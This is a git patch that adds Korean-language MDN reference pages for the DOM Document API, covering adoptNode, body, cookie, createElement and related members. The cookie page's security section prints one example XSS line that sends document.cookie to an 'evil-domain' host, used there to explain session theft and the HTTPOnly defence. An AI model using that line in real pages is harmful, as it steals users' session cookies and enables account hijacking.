From da78a9e329e272dedb2400b79a3bdeebff387d47 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:17 -0500 Subject: initial commit --- files/ko/web/api/document/adoptnode/index.html | 58 +++ files/ko/web/api/document/alinkcolor/index.html | 26 ++ files/ko/web/api/document/all/index.html | 49 +++ files/ko/web/api/document/anchors/index.html | 31 ++ files/ko/web/api/document/applets/index.html | 30 ++ files/ko/web/api/document/body/index.html | 74 ++++ files/ko/web/api/document/characterset/index.html | 47 ++ files/ko/web/api/document/compatmode/index.html | 64 +++ files/ko/web/api/document/cookie/index.html | 243 +++++++++++ .../api/document/createdocumentfragment/index.html | 134 ++++++ files/ko/web/api/document/createelement/index.html | 101 +++++ .../ko/web/api/document/createelementns/index.html | 173 ++++++++ files/ko/web/api/document/createrange/index.html | 33 ++ .../ko/web/api/document/createtextnode/index.html | 60 +++ .../web/api/document/createtreewalker/index.html | 160 +++++++ files/ko/web/api/document/defaultview/index.html | 46 ++ files/ko/web/api/document/designmode/index.html | 50 +++ files/ko/web/api/document/doctype/index.html | 58 +++ files/ko/web/api/document/document/index.html | 43 ++ .../ko/web/api/document/documentelement/index.html | 60 +++ files/ko/web/api/document/documenturi/index.html | 116 +++++ files/ko/web/api/document/domain/index.html | 91 ++++ files/ko/web/api/document/drag_event/index.html | 183 ++++++++ files/ko/web/api/document/dragend_event/index.html | 97 +++++ .../ko/web/api/document/dragstart_event/index.html | 90 ++++ files/ko/web/api/document/embeds/index.html | 36 ++ files/ko/web/api/document/execcommand/index.html | 157 +++++++ files/ko/web/api/document/forms/index.html | 77 ++++ .../ko/web/api/document/getelementbyid/index.html | 152 +++++++ .../api/document/getelementsbytagname/index.html | 117 +++++ .../api/document/getelementsbytagnamens/index.html | 149 +++++++ files/ko/web/api/document/getselection/index.html | 8 + files/ko/web/api/document/hasfocus/index.html | 101 +++++ files/ko/web/api/document/head/index.html | 69 +++ files/ko/web/api/document/hidden/index.html | 26 ++ files/ko/web/api/document/images/index.html | 52 +++ .../ko/web/api/document/implementation/index.html | 55 +++ files/ko/web/api/document/importnode/index.html | 67 +++ files/ko/web/api/document/index.html | 480 +++++++++++++++++++++ files/ko/web/api/document/keydown_event/index.html | 153 +++++++ files/ko/web/api/document/keyup_event/index.html | 99 +++++ files/ko/web/api/document/links/index.html | 102 +++++ files/ko/web/api/document/location/index.html | 69 +++ files/ko/web/api/document/open/index.html | 106 +++++ files/ko/web/api/document/queryselector/index.html | 130 ++++++ .../web/api/document/queryselectorall/index.html | 180 ++++++++ files/ko/web/api/document/readystate/index.html | 125 ++++++ .../api/document/readystatechange_event/index.html | 139 ++++++ files/ko/web/api/document/referrer/index.html | 23 + files/ko/web/api/document/scroll_event/index.html | 141 ++++++ .../ko/web/api/document/stylesheetsets/index.html | 59 +++ files/ko/web/api/document/url/index.html | 69 +++ .../api/document/visibilitychange_event/index.html | 72 ++++ .../ko/web/api/document/visibilitystate/index.html | 56 +++ files/ko/web/api/document/write/index.html | 102 +++++ 55 files changed, 5288 insertions(+) create mode 100644 files/ko/web/api/document/adoptnode/index.html create mode 100644 files/ko/web/api/document/alinkcolor/index.html create mode 100644 files/ko/web/api/document/all/index.html create mode 100644 files/ko/web/api/document/anchors/index.html create mode 100644 files/ko/web/api/document/applets/index.html create mode 100644 files/ko/web/api/document/body/index.html create mode 100644 files/ko/web/api/document/characterset/index.html create mode 100644 files/ko/web/api/document/compatmode/index.html create mode 100644 files/ko/web/api/document/cookie/index.html create mode 100644 files/ko/web/api/document/createdocumentfragment/index.html create mode 100644 files/ko/web/api/document/createelement/index.html create mode 100644 files/ko/web/api/document/createelementns/index.html create mode 100644 files/ko/web/api/document/createrange/index.html create mode 100644 files/ko/web/api/document/createtextnode/index.html create mode 100644 files/ko/web/api/document/createtreewalker/index.html create mode 100644 files/ko/web/api/document/defaultview/index.html create mode 100644 files/ko/web/api/document/designmode/index.html create mode 100644 files/ko/web/api/document/doctype/index.html create mode 100644 files/ko/web/api/document/document/index.html create mode 100644 files/ko/web/api/document/documentelement/index.html create mode 100644 files/ko/web/api/document/documenturi/index.html create mode 100644 files/ko/web/api/document/domain/index.html create mode 100644 files/ko/web/api/document/drag_event/index.html create mode 100644 files/ko/web/api/document/dragend_event/index.html create mode 100644 files/ko/web/api/document/dragstart_event/index.html create mode 100644 files/ko/web/api/document/embeds/index.html create mode 100644 files/ko/web/api/document/execcommand/index.html create mode 100644 files/ko/web/api/document/forms/index.html create mode 100644 files/ko/web/api/document/getelementbyid/index.html create mode 100644 files/ko/web/api/document/getelementsbytagname/index.html create mode 100644 files/ko/web/api/document/getelementsbytagnamens/index.html create mode 100644 files/ko/web/api/document/getselection/index.html create mode 100644 files/ko/web/api/document/hasfocus/index.html create mode 100644 files/ko/web/api/document/head/index.html create mode 100644 files/ko/web/api/document/hidden/index.html create mode 100644 files/ko/web/api/document/images/index.html create mode 100644 files/ko/web/api/document/implementation/index.html create mode 100644 files/ko/web/api/document/importnode/index.html create mode 100644 files/ko/web/api/document/index.html create mode 100644 files/ko/web/api/document/keydown_event/index.html create mode 100644 files/ko/web/api/document/keyup_event/index.html create mode 100644 files/ko/web/api/document/links/index.html create mode 100644 files/ko/web/api/document/location/index.html create mode 100644 files/ko/web/api/document/open/index.html create mode 100644 files/ko/web/api/document/queryselector/index.html create mode 100644 files/ko/web/api/document/queryselectorall/index.html create mode 100644 files/ko/web/api/document/readystate/index.html create mode 100644 files/ko/web/api/document/readystatechange_event/index.html create mode 100644 files/ko/web/api/document/referrer/index.html create mode 100644 files/ko/web/api/document/scroll_event/index.html create mode 100644 files/ko/web/api/document/stylesheetsets/index.html create mode 100644 files/ko/web/api/document/url/index.html create mode 100644 files/ko/web/api/document/visibilitychange_event/index.html create mode 100644 files/ko/web/api/document/visibilitystate/index.html create mode 100644 files/ko/web/api/document/write/index.html (limited to 'files/ko/web/api/document') diff --git a/files/ko/web/api/document/adoptnode/index.html b/files/ko/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..d2cce901a6 --- /dev/null +++ b/files/ko/web/api/document/adoptnode/index.html @@ -0,0 +1,58 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM 레퍼런스 + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/adoptNode +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.

+ +

Gecko 1.9 (Firefox 3)부터 지원

+ +

문법

+ +
node = document.adoptNode(externalNode);
+
+ +
+
   node
+
는 현재 문서에 삽입될 노드를 의미. 아직 해당 문서에 삽입되기 전이기 때문에 새로운 노드의 parentNode는 null이다.   
+
externalNode
+
는 노드를 가져오기 위한 외부 문서에 있는 노드를 의미.
+
+ +

예제

+ +

{{todo}}

+ +

알아두기

+ +

보통 adoptNode 호출은 다른 방식으로 구현된 곳에서 노드를 불러오기 때문에 실패하는 경우가 많다. 하지만 브라우저로 인한 문제인 경우는 문제가 된다.

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

명세

+ + + +

더 보기

+ + diff --git a/files/ko/web/api/document/alinkcolor/index.html b/files/ko/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..9cbfe4a0e1 --- /dev/null +++ b/files/ko/web/api/document/alinkcolor/index.html @@ -0,0 +1,26 @@ +--- +title: document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/alinkColor +--- +

{{ ApiRef() }}

+

Summary

+

{{ Deprecated_header() }} document body에 있는 active link의 색깔을 설정하거나 설정된 값을 리턴합니다. 링크는 mousedown 과 mouseup 이벤트가 발생하는 중간에 활성화(active)됩니다.

+

Syntax

+
color = document.alinkColor
+document.alinkColor =color
+
+

color는 색깔의 이름을 포함하는 문자열 (e.g., "blue", "darkblue", etc.) 혹은 색깔의 16진수 값으로 설정할 수 있습니다(e.g., #0000FF).

+

Notes

+

The default value for this property in Mozilla Firefox is red (#ee0000 in hexadecimal).

+

document.alinkColor is deprecated in DOM Level 2 HTML. One alternative is the CSS selector {{ Cssxref(":active") }}.

+

Another alternative is document.body.aLink, although this is deprecated in HTML 4.01 in favor of the CSS alternative.

+

Gecko supports both alinkColor/:active and {{ Cssxref(":focus") }}. Internet Explorer 6 and 7 support alinkColor/:active only for HTML anchor (<a>) links and the behavior is the same as :focus under Gecko. There is no support for :focus in IE.

+

Specification

+

{{ DOM0() }}

+

MSDN: alinkColor property

+

{{ languages( { "es": "es/DOM/document.alinkColor", "pl": "pl/DOM/document.alinkColor" } ) }}

diff --git a/files/ko/web/api/document/all/index.html b/files/ko/web/api/document/all/index.html new file mode 100644 index 0000000000..e130540cea --- /dev/null +++ b/files/ko/web/api/document/all/index.html @@ -0,0 +1,49 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +
{{APIRef("DOM")}}{{Draft}}{{SeeCompatTable}}
+ +

{{DOMxRef("Document")}} 인터페이스의 read-only all 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only all 요소는 페이지의 모든 contents를 반환 해준다.

+ +

Syntax

+ +
var htmlAllCollection = document.all;
+ +

Value

+ +

{{DOMxRef("HTMLAllCollection")}}는 문서 내에서 모든 node를 담고 있다.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.all")}}

diff --git a/files/ko/web/api/document/anchors/index.html b/files/ko/web/api/document/anchors/index.html new file mode 100644 index 0000000000..3a37425ab9 --- /dev/null +++ b/files/ko/web/api/document/anchors/index.html @@ -0,0 +1,31 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/anchors +--- +
{{APIRef("DOM")}} {{deprecated_header()}}
+ +

{{domxref("Document")}} 인터페이스의 anchors 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.

+ +

예제

+ +
if ( document.anchors.length >= 5 ) {
+    dump("dump found too many anchors");
+    window.location = "http://www.google.com";
+}
+
+ +

알아두기

+ +

이전 버전과의 호환성을 제공하기 위해, 반환된 anchor들의 목록은 name 속성(attribute)으로 생성된 anchors들만 포함하고 id 속성(attribute)으로 생성된 것들은 포함하지 않습니다.

+ +

브라우저 호환성

+ +

{{Compat("api.Document.anchors")}}

diff --git a/files/ko/web/api/document/applets/index.html b/files/ko/web/api/document/applets/index.html new file mode 100644 index 0000000000..25c147849b --- /dev/null +++ b/files/ko/web/api/document/applets/index.html @@ -0,0 +1,30 @@ +--- +title: document.applets +slug: Web/API/Document/applets +tags: + - DOM + - Gecko +translation_of: Web/API/Document/applets +--- +

{{ ApiRef() }}

+ +

요약

+ +

applets document 내의 정렬된 애플릿 목록을 리턴합니다.

+ +

문법

+ +
nodeList = document.applets
+
+ +

예제

+ +
// ( 여러분이 원하는 두 번째 애플릿을 알고 있을 때 )
+my_java_app = document.applets[1];
+
+ +

명세

+ +

DOM 레벨 2 HTML: applets

+ +

{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}

diff --git a/files/ko/web/api/document/body/index.html b/files/ko/web/api/document/body/index.html new file mode 100644 index 0000000000..adc40e872e --- /dev/null +++ b/files/ko/web/api/document/body/index.html @@ -0,0 +1,74 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/body +--- +
{{APIRef("DOM")}}
+ +

Document.body 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 null을 반환합니다.

+ +

구문

+ +
const objRef = document.body
+document.body = objRef
+
+ +

예제

+ +
// HTML: <body id="oldBodyElement"></body>
+alert(document.body.id); // "oldBodyElement"
+
+let aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+ +

참고

+ +

Document.body는 문서의 콘텐츠를 수용하는 요소입니다. <body> 콘텐츠를 가지고 있는 문서는 <body> 요소를 반환하고, 프레임셋을 가지고 있는 문서는 가장 바깥쪽의 <frameset> 요소를 반환합니다.

+ +

body 속성에 새로운 값을 설정할 수 있긴 하지만, 문서에 새로운 본문을 설정하는건 <body> 요소가 가지고 있던 모든 자식을 제거하는 것과 같습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성 

+ +

{{Compat("api.Document.body")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/characterset/index.html b/files/ko/web/api/document/characterset/index.html new file mode 100644 index 0000000000..647c25ab41 --- /dev/null +++ b/files/ko/web/api/document/characterset/index.html @@ -0,0 +1,47 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/characterSet +--- +
{{ ApiRef("DOM") }}
+ +

Document.characterSet 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 문자 인코딩을 반환합니다.

+ +
+

참고: Document.charset과 Document.inputEncoding 속성은 Document.characterSet의 이전 별칭입니다. 더 이상 사용지 마세요.

+
+ +

예제

+ +
<button onclick="console.log(document.characterSet);">
+  콘솔에 인코딩 출력
+</button>
+<!-- "ISO-8859-1"이나 "UTF-8" 등, 문서의 캐릭터 셋 기록 -->
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Document.characterSet")}}

diff --git a/files/ko/web/api/document/compatmode/index.html b/files/ko/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..8a8a33b2fd --- /dev/null +++ b/files/ko/web/api/document/compatmode/index.html @@ -0,0 +1,64 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +
{{ApiRef("DOM")}}
+ +

Document.compatMode 속성은 문서 렌더링을 호환 모드에서 진행했는지, 표준 모드에서 진행했는지 나타냅니다.

+ +

구문

+ +
const mode = document.compatMode
+
+ +

값

+ +

다음 중 하나.

+ + + +
+

참고: 위의 모든 모드는 표준화됐으므로, 오래 전에 사용하던 "표준"과 "거의 표준"이라는 이름은 말이 되지 않아 이제 사용하지 않습니다.

+
+ +

예제

+ +
if (document.compatMode == "BackCompat") {
+  // in Quirks mode
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '/#dom-document-compatmode','compatMode')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.compatMode")}}

diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html new file mode 100644 index 0000000000..d5cfd2f0d3 --- /dev/null +++ b/files/ko/web/api/document/cookie/index.html @@ -0,0 +1,243 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +

 {{domxref("Document")}} cookie 는 document와 연관된 cookies 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.

+ +

문법

+ +

Read all cookies accessible from this location

+ +
allCookies = document.cookie;
+ +

위 코드에서 allCookies 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 key=value). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.

+ + + + + +

In the code above, newCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method. Consider also that:

+ + + +
Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.
+ +

Examples

+ +

Example #1: Simple usage

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+
+ +
<button onclick="alertCookie()">Show cookies</button>
+
+ +

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+ + + +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+  .split('; ')
+  .find(row => row.startsWith('test2'))
+  .split('=')[1];
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+
+ +
<button onclick="alertCookieValue()">Show cookie value</button>
+ +

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+ +

Example #3: Do something only once

+ +

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

+ +
function doOnce() {
+  if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}
+ +
<button onclick="doOnce()">Only do something once</button>
+ +

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+ + + +
function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}
+ +
<button onclick="resetOnce()">Reset only once cookie</button>
+ +

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.trim().indexOf('reader=') == 0
+})) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+
+ + + +
//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.indexOf('reader=1') >= 0
+})) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+ +

Security

+ +

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

+ +

Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
+ +

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

+ +

Notes

+ + + +

The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

+ + + +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]
+ +

The client sends back to the server its cookies previously stored

+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}Initial definition
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.cookie")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/createdocumentfragment/index.html b/files/ko/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..7c4fb33469 --- /dev/null +++ b/files/ko/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,134 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +
{{ApiRef("DOM")}}
+ +

새로운 빈 {{domxref("DocumentFragment")}} 를 생성합니다.

+ +

Syntax

+ +
var docFragment = document.createDocumentFragment();
+
+ +

docFragment 는 빈 {{domxref("DocumentFragment")}} 객체를 나타냅니다.

+ +

Description

+ +

DocumentFragments 는 DOM 노드들 입니다. 이것들은 메인 DOM 트리의 일부가 되지 않습니다. 일반적인 유즈 케이스는 다큐먼트 조각을 생성하고, 엘리먼트들을 다큐먼트 조각에 추가하고 그 다큐먼트 조각을 DOM 트리에 추가하는 것입니다. DOM 트리 내에서 다큐먼트 조각은 그것의 모든 자식들로 대체됩니다.

+ +

메모리 내에 다큐먼트 조각이 존재하고 메인 DOM 트리의 일부가 아니라면, 이것에 자식들을 추가하는 것은 페이지 reflow (엘리먼트의 위치와 좌표의 계산) 를 유발하지 않습니다. 따라서, 다큐먼트 조각을 사용하는 것은 보통 better performance 의 결과를 가져옵니다.

+ +

Example

+ +
var ul = document.getElementsByTagName("ul")[0]; // assuming it exists
+var docfrag = document.createDocumentFragment();
+var browserList = ["Internet Explorer", "Firefox", "Safari",
+    "Chrome", "Opera"];
+
+browserList.forEach(function(e) {
+  var li = document.createElement("li");
+  li.textContent = e;
+  docfrag.appendChild(li);
+});
+
+ul.appendChild(docfrag);
+// a list with well-known web browsers
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}No change
{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM4')}}Clarifies that the node document of the created document fragment is the context object.
{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM3 Core')}}No change
{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM2 Core')}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/document/createelement/index.html b/files/ko/web/api/document/createelement/index.html new file mode 100644 index 0000000000..6cb461eeb5 --- /dev/null +++ b/files/ko/web/api/document/createelement/index.html @@ -0,0 +1,101 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - Method + - Reference + - Web +translation_of: Web/API/Document/createElement +--- +
{{APIRef("DOM")}}
+ +

HTML 문서에서, Document.createElement() 메서드는 지정한 tagName의 HTML 요소를 만들어 반환합니다. tagName을 인식할 수 없으면 {{domxref("HTMLUnknownElement")}}를 대신 반환합니다.

+ +

구문

+ +
let element = document.createElement(tagName[, options]);
+ +

매개변수

+ +
+
tagName
+
생성할 요소의 유형을 가리키는 문자열.
+
options {{optional_inline}}
+
is 속성 하나를 가진 ElementCreationOptions 객체. 속성의 값은 customElements.define()을 사용해 정의한 사용자 정의 요소입니다.
+
+ +

반환 값

+ +

새로운 {{domxref("Element")}}.

+ +

예제

+ +

아래 예제는 새로운 <div> 엘리먼트를 생성한 후, ID가 "div1" 인 요소 이전에 추가합니다.

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>||Working with elements||</title>
+</head>
+<body>
+  <div id="div1">위의 텍스트는 동적으로 추가했습니다.</div>
+</body>
+</html>
+ +

JavaScript

+ +
document.body.onload = addElement;
+
+function addElement () {
+  // create a new div element
+  var newDiv = document.createElement("div");
+  // and give it some content
+  var newContent = document.createTextNode("환영합니다!");
+  // add the text node to the newly created div
+  newDiv.appendChild(newContent);
+
+  // add the newly created element and its content into the DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}
+ +

{{EmbedLiveSample("예제", 500, 50)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.createElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/createelementns/index.html b/files/ko/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..6fee5b6d80 --- /dev/null +++ b/files/ko/web/api/document/createelementns/index.html @@ -0,0 +1,173 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +translation_of: Web/API/Document/createElementNS +--- +
{{ApiRef("DOM")}}
+ +

지정된 네임스페이스 URI와 적합한 이름으로 엘리먼트를 만든다.

+ +

네임스페이스 URI를 지정하지 않고 엘리먼트를 만들려면 createElement메소드를 사용하라.

+ +

Syntax

+ +
var element = document.createElementNS(namespaceURI, qualifiedName[, options]);
+
+ +

Parameters

+ +
+
namespaceURI
+
A string that specifies the namespace URI to associate with the element. The namespaceURI property of the created element is initialized with the value of namespaceURI. See Valid Namespace URIs.
+
qualifiedName
+
A string that specifies the type of element to be created. The nodeName property of the created element is initialized with the value of qualifiedName.
+
optionsOptional
+
An optional ElementCreationOptions object containing a single property named is, whose value is the tag name for a custom element previously defined using customElements.define(). For backwards compatibility with previous versions of the Custom Elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name. See Extending native HTML elements for more information on how to use this parameter.
+
The new element will be given an is attribute whose value is the custom element's tag name. Custom elements are an experimental feature only available in some browsers.
+
+ +

Return value

+ +

The new Element.

+ +

Valid Namespace URIs

+ + + +

Example

+ +

This creates a new <div> element in the XHTML namespace and appends it to the vbox element. Although this is not an extremely useful XUL document, it does demonstrate the use of elements from two different namespaces within a single document:

+ +
<?xml version="1.0"?>
+<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Working with elements||"
+      onload="init()">
+
+<script type="text/javascript"><![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]></script>
+
+ <vbox id='ContainerBox' flex='1'>
+  <html:div>
+   The script on this page will add dynamic content below:
+  </html:div>
+ </vbox>
+
+</page>
+
+ +
+

The example given above uses inline script which is not recommended in XHTML documents. This particular example is actually an XUL document with embedded XHTML, however, the recommendation still applies.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
options argument{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatGeckoDesktop(50)}}[2][3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For the sake of backwards compatibility, Chrome accepts both forms.

+ +

[2] See [1] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50,  options must be an object.

+ +

